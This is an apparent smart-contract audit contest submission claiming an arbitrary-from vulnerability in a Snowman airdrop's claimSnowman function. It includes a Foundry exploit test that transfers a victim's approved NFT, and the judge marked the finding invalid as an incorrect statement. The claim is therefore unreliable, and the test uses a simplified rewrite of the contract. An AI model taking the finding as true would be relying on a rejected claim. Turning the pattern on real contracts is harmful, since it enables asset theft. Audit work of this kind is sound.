Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Arbitrary From Address in the `SnowmanAirdrop.claimSnowman`, causing a loss of funds/NFT's

Arbitrary From Address in the SnowmanAirdrop.claimSnowman, causing a loss of funds/NFTs

Description

The contract allows an arbitrary receiver address to be passed as the from parameter in safeTransferFrom, enabling an attacker to transfer NFTs from any address that has approved the contract, resulting in unauthorized NFT loss.

function claimSnowman(address receiver, uint256 tokenId, bytes32[] calldata merkleProof, bytes calldata signature) external {
bytes32 leaf = keccak256(abi.encodePacked(receiver, tokenId));
require(MerkleProof.verify(merkleProof, merkleRoot, leaf), "Invalid Merkle proof");
// @> i_snow.safeTransferFrom(receiver, address(this), tokenId);
}

Risk

Likelihood: HIGH

  • Users approve the SnowmanAirdrop contract to transfer their NFTs during normal airdrop interactions.

  • Attackers craft valid Merkle proofs for any approved user’s address, exploiting the lack of receiver validation beyond the Merkle proof.

Impact: HIGH

  • Victims lose ownership of their NFTs, which are transferred to the contract without their consent.

  • The protocol’s trust is undermined, as users’ assets are vulnerable to theft through delegated claim abuse.

Proof of Concept

I made my own test file and created three contracts with embedded functions to test this vulnerability. Add this to a test file and run: forge test --match-test testExploitArbitraryFrom -vvvv.

pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract SnowNFT is ERC721 {
constructor() ERC721("SnowNFT", "SNFT") {}
function mint(address to, uint256 tokenId) external {
_mint(to, tokenId);
}
}
contract SnowmanAirdrop is IERC721Receiver {
IERC721 public i_snow;
bytes32 public merkleRoot;
address public authorizedSigner;
constructor(IERC721 _snow, bytes32 _merkleRoot, address _signer) {
i_snow = _snow;
merkleRoot = _merkleRoot;
authorizedSigner = _signer;
}
function claimAirdrop(address receiver, uint256 tokenId, bytes32[] calldata merkleProof, bytes calldata signature) external {
bytes32 leaf = keccak256(abi.encodePacked(receiver, tokenId));
require(MerkleProof.verify(merkleProof, merkleRoot, leaf), "Invalid Merkle proof");
i_snow.safeTransferFrom(receiver, address(this), tokenId);
}
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return this.onERC721Received.selector;
}
}
contract SnowmanAirdropExploitTest is Test {
SnowNFT snowNFT;
SnowmanAirdrop airdrop;
address userA = address(0x1234);
address attacker = address(0x5678);
address deployer = address(this);
bytes32 merkleRoot;
uint256 tokenId = 1;
function generateMerkleProof(address receiver, uint256 _tokenId) internal pure returns (bytes32, bytes32[] memory) {
bytes32 leaf = keccak256(abi.encodePacked(receiver, _tokenId));
return (leaf, new bytes32[](0));
}
function setUp() public {
snowNFT = new SnowNFT();
snowNFT.mint(userA, tokenId);
(bytes32 leaf, ) = generateMerkleProof(userA, tokenId);
merkleRoot = leaf;
airdrop = new SnowmanAirdrop(snowNFT, merkleRoot, deployer);
vm.prank(userA);
snowNFT.approve(address(airdrop), tokenId);
}
function testExploitArbitraryFrom() public {
address ownerBefore = snowNFT.ownerOf(tokenId);
assertEq(ownerBefore, userA, "User A should own token before exploit");
(, bytes32[] memory proof) = generateMerkleProof(userA, tokenId);
vm.prank(attacker);
airdrop.claimAirdrop(userA, tokenId, proof, "");
address ownerAfter = snowNFT.ownerOf(tokenId);
assertEq(ownerAfter, address(airdrop), "Contract should own token after exploit");
}
}

Recommended Mitigation

Verify that the caller is authorized to claim for the receiver.

function claimSnowman(address receiver, uint256 tokenId, bytes32[] calldata merkleProof, bytes calldata signature) external {
bytes32 leaf = keccak256(abi.encodePacked(receiver, tokenId));
require(MerkleProof.verify(merkleProof, merkleRoot, leaf), "Invalid Merkle proof");
+ address signer = recoverSigner(keccak256(abi.encodePacked(receiver, tokenId, msg.sender)), signature);
+ require(signer == authorizedSigner || signer == receiver, "Invalid signature");
}
Updates

Lead Judging Commences

yeahchibyke Lead Judge
19 days ago
yeahchibyke Lead Judge 18 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.